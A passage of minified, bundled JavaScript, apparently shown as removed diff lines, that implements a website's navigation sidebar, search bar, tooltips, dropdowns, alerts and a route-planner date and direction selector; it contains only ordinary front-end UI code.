(i) { - var n = new c.default(i); - n.open() - } - }); - return n - } - return t - }(h.Component); - p.default_settings = { - attributes: false - }; - t.default = p - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(13); - var r = m(n); - var a = i(58); - var s = m(a); - var o = i(7); - var l = h(o); - var u = i(15); - var d = i(69); - var f = i(165); - var c = i(167); - - function h(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function m(e) { - return e && e.__esModule ? e : { - default: e - } - } - var p = { - navigationContainer: ".nav-sidebar--navigation", - navigationListItem: ".navigation__list", - plannerContainer: ".navigation__planner", - navigationPanel: ".nav-sidebar-panel--navigation", - btnShowPlanner: ".js-show-planner", - openNavigation: ".js-open-navigation", - login: ".js-login", - btnClose: ".sidebar__btn-close", - btnCloseSideBar: ".nav-sidebar__btn-close", - btnBack: ".nav-sidebar__btn-back" - }; - var v = { - attributes: false, - breakpointMobile: 992, - stateClass: "active", - showClass: "show", - easing: d.Power2.easeInOut, - animationTime: .3, - animationTimeLarge: .6 - }; - var _ = void 0, - g = void 0, - y = void 0, - b = void 0; - var w = function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - g = t; - l.on(document, "click", p.openNavigation, x); - l.on(t, "click", p.btnClose, Y); - l.on(document, "click", p.btnCloseSideBar, Y); - l.on(document, "click", p.btnBack, S); - l.on(l.get(p.navigationListItem, t), "click", "a", D); - l.on(t, "click", p.btnShowPlanner, function (e) { - e.preventDefault(); - l.toggleClass(l.get(p.plannerContainer, t), "hide") - }); - l.on(document, "click", p.login, function (e, t) { - e.preventDefault(); - if (l.hasClass(t, "account--loggedin")) { - l.removeClass(t, "account--loggedin"); - t.innerHTML = '' - } else { - l.addClass(t, "account--loggedin"); - t.innerHTML = '' - } - }); - M(g) - }; - var M = function e(t) { - var i = void 0; - var n = function e() { - var i = (0, u.getScreenSize)(); - if (i !== "sm" && i !== "md") { - var n = t.querySelector(".nav-sidebar-panel__content").offsetHeight; - var r = t.querySelector(".nav-sidebar__content").offsetHeight + t.querySelector(".nav-sidebar__footer").offsetHeight + t.querySelector(".nav-sidebar__header").offsetHeight + 100 / 2; - var a = l.getDocumentHeight(); - var s = a; - s = n > r ? n : r; - if (r > n) { - t.querySelector(".nav-sidebar-panel").style.height = s + "px" - } else { - t.querySelector(".nav-sidebar-panel").style.removeProperty("height"); - s += 100 - } - t.style.height = s + "px" - } - }; - window.addEventListener("resize", function () { - clearTimeout(i); - i = setTimeout(function () { - n() - }, 150) - }); - setInterval(function () { - n() - }, 1e3); - n() - }; - var k = function e(t) { - t = L(t); - if (t.keyCode === 27) { - Y(t) - } - }; - var L = function e(t) { - var i = document.activeElement; - if (!i) { - i = document.body - } - if (!i.nodeName) { - i = document.body - } - var n = g === i || g.contains(i); - if (!n) { - t.preventDefault(); - T() - } - return t - }; - var T = function e() { - l.get(".navigation__list a")[0].focus() - }; - var x = function e(t) { - t.preventDefault(); - window.addEventListener("keyup", k); - b = l.get(p.openNavigation); - l.addClass(g, window.innerWidth > v.breakpointMobile ? ["nav-sidebar--open", "nav-sidebar--panel"] : ["nav-sidebar--open", "nav-sidebar--large-panel"]); - l.get("main").setAttribute("aria-hidden", "true"); - y = (0, f.getCurrentNavSidebarContainer)(); - (0, c.setCurrentPanel)(p.navigationPanel); - (0, f.setCurrentNavSidebarContainer)(l.get(p.navigationContainer)); - setTimeout(function () { - _ = new d.TimelineLite; - _.eventCallback("onComplete", function () { - l.addClass(l.get("main"), "lock"); - T(); - E() - }); - _.to(g, v.animationTime, { - y: 0, - ease: v.easing - }, 0); - _.to(l.get(".navigation__panel-item")[0], v.animationTime, { - alpha: 1, - ease: v.easing - }, .05) - }, 1) - }; - var S = function e(t) { - t.preventDefault(); - if (window.innerWidth < v.breakpointMobile) { - t.noLockRemoval = true; - (0, c.ClosePanelAnimation)(t, "", function () {}) - }(0, c.reverseInlineSwitch)(t); - (0, f.changeMenuLinks)("close"); - P() - }; - var Y = function e(t) { - t.stopPropagation(); - l.removeClass(l.get("main"), "lock"); - l.get("main").setAttribute("aria-hidden", "false"); - window.removeEventListener("keyup", k); - b.focus(); - _.eventCallback("onReverseComplete", function () { - (0, f.setCurrentNavSidebarContainer)(y); - l.removeClass(g, window.innerWidth > v.breakpointMobile ? ["nav-sidebar--open", "nav-sidebar--panel"] : "nav-sidebar--open"); - P() - }); - _.reverse(0) - }; - var D = function e(t, i) { - t.preventDefault(); - var n = i.parentNode, - r = l.getDataAttributes(i), - a = r.id, - s = l.get(p.navigationListItem + " li", g), - o = l.get(p.navigationPanel + " .navigation__panel-item", g); - s.forEach(function (e) { - l.removeClass(e, v.stateClass) - }); - l.addClass(n, v.stateClass); - o.forEach(function (e) { - l.removeClass(e, [v.stateClass, v.showClass]) - }); - var u = l.get(p.navigationPanel + ' [data-id="' + a + '"]', g); - l.addClass(u, [v.stateClass, v.showClass]); - var d = u.querySelectorAll("h1, h2, h3, a")[0]; - d.setAttribute("tabindex", 0); - d.focus(); - if (window.innerWidth < v.breakpointMobile) { - (0, c.playInlineSwitch)(t, p.navigationPanel, ".nav-sidebar--navigation .nav-sidebar__block", false, function () {}) - }(0, f.changeMenuLinks)("back"); - C() - }; - var E = function e() { - (0, f.scrollFixedNavSidebar)() - }; - var C = function e() { - (0, f.scrollFixedNavSidebar)() - }; - var P = function e() { - (0, f.scrollFixedNavSidebar)() - }; - var A = function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - i = (0, s.default)(v, i); - var n = [t]; - if (typeof t === "string") { - n = (0, r.default)(document.querySelectorAll(t)) - } else if (Array.isArray(t)) { - n = t - } - n.forEach(function (e) { - w(e, i) - }) - }; - t.default = A - }, function (e, t, i) { - i(445); - e.exports = i(14).Object.entries - }, function (e, t, i) { - var n = i(24); - var r = i(446)(true); - n(n.S, "Object", { - entries: function e(t) { - return r(t) - } - }) - }, function (e, t, i) { - var n = i(48); - var r = i(31); - var a = i(68).f; - e.exports = function (e) { - return function (t) { - var i = r(t); - var s = n(i); - var o = s.length; - var l = 0; - var u = []; - var d; - while (o > l) - if (a.call(i, d = s[l++])) { - u.push(e ? [d, i[d]] : i[d]) - } - return u - } - } - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(3); - var r = v(n); - var a = i(1); - var s = v(a); - var o = i(6); - var l = v(o); - var u = i(4); - var d = v(u); - var f = i(5); - var c = v(f); - var h = i(2); - var m = i(15); - var p = i(7); - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - n.state = { - isOpen: false - }; - n.triggerBtn = n.el.querySelector(".navigation-bar__search__trigger"); - n.closeBtn = n.el.querySelector(".navigation-bar__search__close"); - n.form = n.el.querySelector("form"); - n.input = n.form.querySelector("input"); - n.toggle = n.toggle.bind(n); - n.close = n.close.bind(n); - n.open = n.open.bind(n); - n.position = n.position.bind(n); - n.triggerBtn.addEventListener("click", n.toggle); - n.triggerBtn.setAttribute("aria-expanded", false); - n.closeBtn.addEventListener("click", n.close); - window.addEventListener("resize", n.position); - return n - }(0, l.default)(t, [{ - key: "toggle", - value: function e() { - if (this.state.isOpen) { - this.close() - } else { - this.open() - } - } - }, { - key: "open", - value: function e() { - this.form.classList.add("is-open"); - this.state.isOpen = true; - this.position(); - this.triggerBtn.setAttribute("aria-expanded", true); - this.input.focus() - } - }, { - key: "close", - value: function e() { - this.form.classList.remove("is-open"); - this.state.isOpen = false; - this.triggerBtn.setAttribute("aria-expanded", true); - this.triggerBtn.focus() - } - }, { - key: "position", - value: function e() { - var t = document.querySelector(".navigation-bar__main"); - var i = t.getBoundingClientRect(); - var n = document.querySelector(".navigation-bar").classList.contains("navigation-bar--reversed"); - if ((0, m.getScreenSize)() == "sm" || (0, m.getScreenSize)() == "md") { - this.form.style.width = document.body.clientWidth + "px"; - this.form.style.left = -1 * (0, p.offset)(this.el).left + "px" - } else { - if (n) { - var r = document.querySelector(".navigation-bar__logo"); - var a = r.getBoundingClientRect(); - var s = 20; - this.form.style.top = (0, p.offset)(this.el).top * -1 + "px"; - this.form.style.width = i.width - (a.width + s) - (0, p.offset)(r).left + "px"; - this.form.style.left = a.width + (0, p.offset)(r).left + s + (0, p.offset)(this.el).left * -1 + "px" - } else { - this.form.style.width = i.width + "px"; - this.form.style.left = (0, p.offset)(this.el).left * -1 + (0, p.offset)(t).left + "px" - } - } - } - }]); - return t - }(h.Component); - _.defaultSettings = { - attributes: true - }; - t.default = _ - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.getCurrentSidebarSelector = t.setCurrentSidebarContainer = t.getCurrentSidebarContainer = t.openSidebarMobile = t.deleteFooterLink = t.toggleTitleIcon = t.ToggleMobileNavigation = t.changeMenuLinks = t.scrollFixedSidebar = t.default = undefined; - var n = i(58); - var r = h(n); - var a = i(13); - var s = h(a); - var o = i(166); - var l = h(o); - var u = i(7); - var d = c(u); - var f = i(15); - - function c(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function h(e) { - return e && e.__esModule ? e : { - default: e - } - } - var m = { - sidebarActiveState: "sidebar", - sidebarNotFixedState: "sidebar__container--notfixed", - sidebarActiveBlock: ".sidebar__block--active", - sidebarNav: ".sidebar__btn-nav", - noFixedFooter: "sidebar--no-fixed-footer", - panel: ".js-panel", - panelOpenState: ".sidebar-panel--open", - panelFixedOpenState: ".sidebar-panel--fixed-open" - }; - var p = { - menu: "navigation-bar__sidebar--show-menu", - back: "navigation-bar__sidebar--show-back", - close: "navigation-bar__sidebar--show-close", - change: "navigation-bar__sidebar--show-change" - }, - v = (0, l.default)(p).map(function (e) { - return e[1] - }); - var _ = void 0, - g = void 0, - y = true; - var b = { - attributes: false, - sidebarHeight: 0, - sidebarBreakpointHeight: 820, - breakpointMobile: 992 - }; - var w = function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - M(t) - }; - var M = function e(t) { - var i = void 0; - var n = function e() { - var i = (0, f.getScreenSize)(); - if (document.body.classList.contains("routeplanner-print")) { - t.style.removeProperty("height"); - return - } - if (d.hasClass(t, "sidebar-planner") && (i == "sm" || i == "md")) { - t.style.removeProperty("height") - } else { - t.style.height = "100%" - } - if (!(i == "sm" || i == "md")) { - var n = d.getDocumentHeight(); - var r = n; - if (d.hasClass(t, "sidebar-planner")) { - if (!d.hasClass(t, "stack-active")) { - var a = document.querySelector("main"); - r = a ? a.offsetHeight : n - } else { - var s = parseInt(window.getComputedStyle(t, null).getPropertyValue("top")); - r = n - (isNaN(s) ? 0 : s) * 2 - } - } - t.style.height = r + "px" - } - }; - window.addEventListener("resize", function () { - clearTimeout(i); - i = setTimeout(function () { - n() - }, 150) - }); - setInterval(function () { - n() - }, 700); - n() - }; - var k = function e(t, i) { - if (d.hasClass(i, "checked")) { - d.removeClass(i, "checked") - } else { - d.addClass(i, "checked") - } - }; - var L = function e(t) { - var i = document.querySelector(".navigation-bar__sidebar"); - d.removeClass(i, v); - d.addClass(i, p[t]) - }; - var T = function e(t) { - if (t) { - d.addClass(_, "sidebar--open") - } else { - d.removeClass(_, "sidebar--open") - } - }; - var x = function e(t) { - if (y && t) { - y = false; - d.addClass(d.get(m.sidebarNav), "hide") - } else { - y = true; - d.removeClass(d.get(m.sidebarNav), "hide") - } - }; - var S = function e(t) { - if (!d.hasClass(_, m.noFixedFooter) && b.activeSiderbarHeight < b.sidebarHeight) { - d.addClass(_, "sidebar--footer-bottom") - } else { - d.removeClass(_, "sidebar--footer-bottom") - } - }; - var Y = function e(t) { - if (t) { - d.addClass(_, "sidebar--no-links") - } else { - d.removeClass(_, "sidebar--no-links") - } - }; - var D = function e() { - var t = d.get("." + m.sidebarActiveState); - g = !d.hasClass(t, m.sidebarNotFixedState); - return t - }; - var E = function e() { - return "." + m.sidebarActiveState - }; - var C = function e(t) { - (0, s.default)(d.get("." + m.sidebarActiveState, document, true)).forEach(function (e) { - d.removeClass(e, m.sidebarActiveState) - }); - d.addClass(t, m.sidebarActiveState) - }; - var P = function e() { - if (window.pageYOffset > b.sidebarHeight - window.innerHeight) { - d.addClass(_, "sidebar__container--fixed-bottom") - } else { - d.removeClass(_, "sidebar__container--fixed-bottom") - } - }; - var A = function e() { - var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; - _ = D(); - if (window.innerWidth >= b.breakpointMobile) { - var i = window.innerHeight; - if (_ && g) { - _.style.height = ""; - var n = d.get("" + m.panelFixedOpenState, _) || d.get("" + m.panelOpenState, _), - r = n && !t ? n.offsetHeight : 0, - a = 110; - (0, s.default)(["title", "content", "footer"]).forEach(function (e) { - var t = d.get(m.sidebarActiveBlock + " .sidebar__" + e, _); - a += t ? t.offsetHeight : 0 - }); - b.activeSiderbarHeight = a; - b.sidebarHeight = Math.max(a, r, i); - _.style.height = b.sidebarHeight + "px"; - S(b.sidebarHeight); - window.removeEventListener("scroll", P); - if (i >= b.sidebarHeight) { - d.removeClass(_, "sidebar__container--fixed-bottom"); - d.addClass(_, ["sidebar__container--fixed"]) - } else { - d.removeClass(_, ["sidebar__container--fixed"]); - window.addEventListener("scroll", P, { - passive: false - }); - P() - } - } - } else { - if (_ && g) { - _.style.height = ""; - window.removeEventListener("scroll", P); - d.removeClass(_, ["sidebar__container--fixed-bottom", "sidebar__container--fixed", "sidebar--footer-bottom"]) - } - } - }; - var O = function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - i = (0, r.default)(b, i); - var n = []; - if (typeof t === "string") { - n = (0, s.default)(document.querySelectorAll(t)) - } else if (Array.isArray(t)) { - n = t - } else { - n.push(t) - } - n.forEach(function (e) { - w(e, i) - }) - }; - t.default = O; - t.scrollFixedSidebar = A; - t.changeMenuLinks = L; - t.ToggleMobileNavigation = x; - t.toggleTitleIcon = k; - t.deleteFooterLink = Y; - t.openSidebarMobile = T; - t.getCurrentSidebarContainer = D; - t.setCurrentSidebarContainer = C; - t.getCurrentSidebarSelector = E - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = v(n); - var a = i(1); - var s = v(a); - var o = i(6); - var l = v(o); - var u = i(4); - var d = v(u); - var f = i(5); - var c = v(f); - var h = i(2); - var m = i(450); - var p = v(m); - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - n.tooltip = n.getTooltip(); - if (n.tooltip) { - n.el.addEventListener("click", n.showTooltip.bind(n)) - } - return n - }(0, l.default)(t, [{ - key: "showTooltip", - value: function e(t) { - var i = document.activeElement; - this.tooltip.show(i) - } - }, { - key: "getTooltip", - value: function e() { - var t = this.el.getAttribute("data-tooltip"); - var i = document.querySelector('[data-tooltip-id="' + t + '"]'); - if (i) { - return new p.default(i, { - trigger: this - }) - } - return null - } - }]); - return t - }(h.Component); - _.defaultSettings = {}; - t.default = _ - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = y(n); - var a = i(1); - var s = y(a); - var o = i(6); - var l = y(o); - var u = i(4); - var d = y(u); - var f = i(5); - var c = y(f); - var h = i(2); - var m = i(7); - var p = i(117); - var v = y(p); - var _ = i(163); - var g = y(_); - - function y(e) { - return e && e.__esModule ? e : { - default: e - } - } - var b = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - n.hideOutside = n.hideOutside.bind(n); - n.hide = n.hide.bind(n); - n.showPopup = n.showPopup.bind(n); - n.handleKeyPress = n.handleKeyPress.bind(n); - n.confirmButton = e.querySelector(".confirm"); - n.popupTrigger = e.querySelector(".popup-trigger"); - n.lastFocus = document.activeElement; - return n - }(0, l.default)(t, [{ - key: "show", - value: function e(t) { - this.el.classList.add("active"); - this.lastFocus = t; - var i = this.el.querySelector(".amountpicker input"); - if (i) { - setTimeout(function () { - i.focus() - }, 200) - } - if (this.popupTrigger) { - this.popupTrigger.addEventListener("click", this.showPopup) - } - if (this.confirmButton) { - this.confirmButton.addEventListener("click", this.hide) - } - document.body.addEventListener("click", this.hideOutside); - window.addEventListener("keyup", this.handleKeyPress) - } - }, { - key: "hide", - value: function e() { - if (this.isOpen()) { - this.el.classList.remove("active"); - this.settings.trigger.el.focus() - } - if (this.popupTrigger) { - this.popupTrigger.removeEventListener("click", this.showPopup) - } - if (this.confirmButton) { - this.confirmButton.removeEventListener("click", this.hide) - } - window.removeEventListener("keyup", this.handleKeyPress) - } - }, { - key: "showPopup", - value: function e(t) { - t.preventDefault(); - var i = document.getElementById(this.popupTrigger.getAttribute("data-content")); - if (!i) { - return - } - var n = new v.default(i, { - closeLabel: this.popupTrigger.getAttribute("data-label-close"), - lastFocus: this.lastFocus - }); - n.open() - } - }, { - key: "keepFocus", - value: function e(t) { - var i = document.activeElement; - if (!i) { - i = document.body - } - if (!i.nodeName) { - i = document.body - } - var n = this.el === i || this.el.contains(i); - if (!n) { - t.preventDefault(); - this._focusTabbable() - } - return t - } - }, { - key: "_focusTabbable", - value: function e() { - var t = this.el.querySelector("input, button"); - if (t) { - t.focus() - } - } - }, { - key: "isOpen", - value: function e() { - return this.el.classList.contains("active") - } - }, { - key: "handleKeyPress", - value: function e(t) { - t = this.keepFocus(t); - if (t.key === "Escape") { - this.hide() - } - } - }, { - key: "hideOutside", - value: function e(t) { - var i = t.target; - var n = (0, m.isDescendant)(this.settings.trigger.el, i) || i == this.settings.trigger.el; - var r = (0, m.isDescendant)(this.el, i) || i == this.el; - if (!n && !r) { - document.body.removeEventListener("click", this.hideOutside); - this.hide() - } - } - }]); - return t - }(h.Component); - b.defaultSettings = {}; - t.default = b - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = _(n); - var a = i(1); - var s = _(a); - var o = i(6); - var l = _(o); - var u = i(4); - var d = _(u); - var f = i(5); - var c = _(f); - var h = i(15); - var m = i(168); - var p = _(m); - var v = i(2); - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e)); - n.el = e; - n.acc = null; - n.init(); - window.addEventListener("resize", function (e) { - return n.init() - }); - return n - }(0, l.default)(t, [{ - key: "init", - value: function e() { - if (!this.acc) { - this.acc = new p.default(this.el) - } - var t = (0, h.getScreenSize)(); - if (!(t == "sm" || t == "md")) { - this.acc.trigger.disabled = true; - this.acc.open() - } else { - this.acc.trigger.disabled = false; - this.acc.close() - } - } - }]); - return t - }(v.Component); - g.default_settings = { - attributes: false - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(13); - var r = M(n); - var a = i(3); - var s = M(a); - var o = i(1); - var l = M(o); - var u = i(6); - var d = M(u); - var f = i(4); - var c = M(f); - var h = i(5); - var m = M(h); - var p = i(7); - var v = w(p); - var _ = i(2); - var g = i(15); - var y = i(169); - var b = M(y); - - function w(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function M(e) { - return e && e.__esModule ? e : { - default: e - } - } - var k = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); - n.trigger = n.el.querySelector(".dropdown__trigger"); - n.content = n.el.querySelector(".dropdown__list"); - n.trigger.setAttribute("aria-expanded", "false"); - if (e.hasAttribute("disabled")) { - n.trigger.setAttribute("disabled", true); - n.trigger.addEventListener("click", function (e) { - e.preventDefault() - }); - return (0, c.default)(n) - } - if (v.hasClass(n.el, "dropdown--open")) { - n.trigger.setAttribute("aria-expanded", "true") - } - n.onClick = n.onClick.bind(n); - n.close = n.close.bind(n); - n.addEvents(); - return n - }(0, d.default)(t, [{ - key: "scrollVisible", - value: function e() { - var t = document.documentElement; - var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); - var n = this.content.getBoundingClientRect(), - r = n.top, - a = n.height; - var s = this.trigger.getBoundingClientRect(), - o = s.height; - var l = r + i + a; - if (a + o >= window.innerHeight) { - var u = (0, g.getScreenSize)(); - var d = 0; - if (u == "sm" || u == "md" || u == "lg" || u == "xl") { - var f = document.querySelector(".navigation-bar").getBoundingClientRect(), - c = f.height; - d = c - } - window.scrollTo(0, i + r - o - d) - } else if (l > window.innerHeight + i) { - window.scrollTo(0, l - window.innerHeight + 20) - } - } - }, { - key: "addEvents", - value: function e() { - this.trigger.addEventListener("click", this.onClick) - } - }, { - key: "onClick", - value: function e(t) { - t.preventDefault(); - if (v.hasClass(this.el, "dropdown--open")) { - this.close() - } else { - this.open() - } - } - }, { - key: "open", - value: function e() { - var t = this; - this.trigger.setAttribute("aria-expanded", "true"); - v.addClass(this.el, "dropdown--open"); - var i = (0, r.default)(this.el.querySelectorAll(".dropdown__item--details")); - i.length && i.forEach(function (e) { - return new b.default(e) - }); - this.settings.autoclose && setTimeout(function () { - document.body.addEventListener("click", t.close) - }, 100); - setTimeout(function () { - t.scrollVisible() - }, 60) - } - }, { - key: "close", - value: function e() { - this.trigger.setAttribute("aria-expanded", "false"); - v.removeClass(this.el, "dropdown--open"); - if (this.settings.autoclose) { - document.body.removeEventListener("click", this.close) - } - } - }]); - return t - }(_.Component); - k.defaultSettings = { - attributes: true, - autoclose: false - }; - t.default = k - }, function (e, t) { - e.exports = r - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = v(n); - var a = i(1); - var s = v(a); - var o = i(6); - var l = v(o); - var u = i(4); - var d = v(u); - var f = i(5); - var c = v(f); - var h = i(7); - var m = i(2); - var p = i(15); - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.activeClass = "alert--open"; - n.noTriggerClass = "alert--no-trigger"; - n.triggerQS = ".alert__trigger"; - n.alertExtraQS = ".alert__extra"; - n.alertContentQS = ".alert__content"; - n.el = e; - n.trigger = e.querySelector(n.triggerQS); - n.alertExtra = e.querySelector(n.alertExtraQS); - n.alertContent = e.querySelector(n.alertContentQS); - if (n.alertExtra) { - n.alertExtra.setAttribute("tabIndex", 0) - } - n.bindEvents(); - if (n.settings.open) { - n.open() - } - return n - }(0, l.default)(t, [{ - key: "bindEvents", - value: function e() { - if (!this.el.classList.contains(this.noTriggerClass)) { - this.el.addEventListener("click", this.handleToggleClick.bind(this)) - } - } - }, { - key: "handleToggleClick", - value: function e(t) { - if (this.el.classList.contains(this.activeClass)) { - this.close() - } else { - this.open() - } - } - }, { - key: "open", - value: function e() { - var t = this; - this.el.classList.add(this.activeClass); - if (this.trigger) { - this.trigger.setAttribute("aria-expanded", "true") - } - if (this.alertExtra) { - this.alertExtra.focus() - } - setTimeout(function () { - t.scrollVisible() - }, 60) - } - }, { - key: "scrollVisible", - value: function e() { - var t = document.documentElement; - var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); - var n = this.alertContent.getBoundingClientRect(), - r = n.top, - a = n.height; - var s = this.trigger.getBoundingClientRect(), - o = s.height; - var l = r + i + a; - if (a + o >= window.innerHeight) { - var u = (0, p.getScreenSize)(); - var d = 0; - if (u == "sm" || u == "md" || u == "lg" || u == "xl") { - var f = document.querySelector(".navigation-bar").getBoundingClientRect(), - c = f.height; - d = c - } - window.scrollTo(0, i + r - o - d) - } else if (l > window.innerHeight + i) { - window.scrollTo(0, l - window.innerHeight + 20) - } - } - }, { - key: "close", - value: function e() { - this.el.classList.remove(this.activeClass); - if (this.trigger) { - this.trigger.setAttribute("aria-expanded", "false") - } - } - }]); - return t - }(m.Component); - _.default_settings = { - attributes: true, - open: false - }; - t.default = _ - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = y(n); - var a = i(1); - var s = y(a); - var o = i(6); - var l = y(o); - var u = i(4); - var d = y(u); - var f = i(5); - var c = y(f); - var h = i(7); - var m = g(h); - var p = i(160); - var v = y(p); - var _ = i(2); - - function g(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function y(e) { - return e && e.__esModule ? e : { - default: e - } - } - var b = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.selectors = { - typeRadio: ".rad-group .rad", - startDatePicker: ".route-type-input__dates .datepicker:nth-child(1)", - endDatePicker: ".route-type-input__dates .datepicker:nth-child(2)", - dateSingleInput: '.rad__input[data-route-type="single"]', - dateRoundtripInput: '.rad__input[data-route-type="roundtrip"]' - }; - n.state = { - isRoundtrip: false, - startDate: null, - endDate: null, - isValid: true - }; - n.el = e; - n.startDatePicker = new v.default(n.el.querySelector(n.selectors.startDatePicker), { - onSelect: n.onStartSelect.bind(n) - }); - n.endDatePicker = new v.default(n.el.querySelector(n.selectors.endDatePicker), { - onSelect: n.onEndSelect.bind(n) - }); - m.removeClass(n.el, "is-roundtrip"); - if (n.el.querySelector(n.selectors.dateSingleInput).checked) { - n.state.isRoundtrip = false - } - if (n.el.querySelector(n.selectors.dateRoundtripInput).checked) { - n.state.isRoundtrip = true; - n.toggleDateFields() - } - m.on(n.el, "change", n.selectors.typeRadio, n.onChange.bind(n)); - return n - }(0, l.default)(t, [{ - key: "onStartSelect", - value: function e(t) { - this.state.startDate = t; - if (this.state.isValid) { - this.dispatchReady() - } - } - }, { - key: "onEndSelect", - value: function e(t) { - this.state.endDate = t; - if (this.state.isValid) { - this.dispatchReady() - } - } - }, { - key: "onChange", - value: function e(t) { - this.state.isRoundtrip = t.target.getAttribute("data-route-type") === "roundtrip"; - this.toggleDateFields(); - if (this.state.isValid) { - this.dispatchReady() - } - } - }, { - key: "dispatchReady", - value: function e() { - var t = new CustomEvent("ready", { - detail: this.state - }); - this.settings.onReady(t); - this.el.dispatchEvent(t) - } - }, { - key: "toggleDateFields", - value: function e() { - if (this.state.isRoundtrip) { - m.addClass(this.el, "is-roundtrip") - } else { - m.removeClass(this.el, "is-roundtrip") - } - } - }]); - return t - }(_.Component); - b.default_settings = { - attributes: false, - onReady: function e() {} - }; - t.default = b - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = _(n); - var a = i(1); - var s = _(a); - var o = i(4); - var l = _(o); - var u = i(5); - var d = _(u); - var f = i(7); - var c = v(f); - var h = i(155); - var m = _(h); - var p = i(2); - - function v(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, d.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.selectors = { - switcher: ".directions__input__switch", - from: ".directions__input__from select", - to: ".directions__input__to select" - }; - c.addClass(n.el, "directions__input__" + n.settings.style); - var a = { - style: "underlined " + n.settings.style, - name: "some_weird_name", - retainName: true - }; - n.toSelect = new m.default(c.get(n.selectors.to, n.el), a); - n.toSelect.el.addEventListener("change", function (e) { - e.preventDefault(); - var t = new CustomEvent("change", { - detail: { - type: "to", - value: n.toSelect.getValue(), - label: n.toSelect.getLabel() - } - }); - n.el.dispatchEvent(t); - n.settings.onChange(t) - }); - n.fromSelect = new m.default(c.get(n.selectors.from, n.el), a); - n.fromSelect.el.addEventListener("change", function (e) { - e.preventDefault(); - var t = new CustomEvent("change", { - detail: { - type: "from", - value: n.fromSelect.getValue(), - label: n.fromSelect.getLabel() - } - }); - n.el.dispatchEvent(t); - n.settings.onChange(t) - }); - if (n.settings.switch) { - 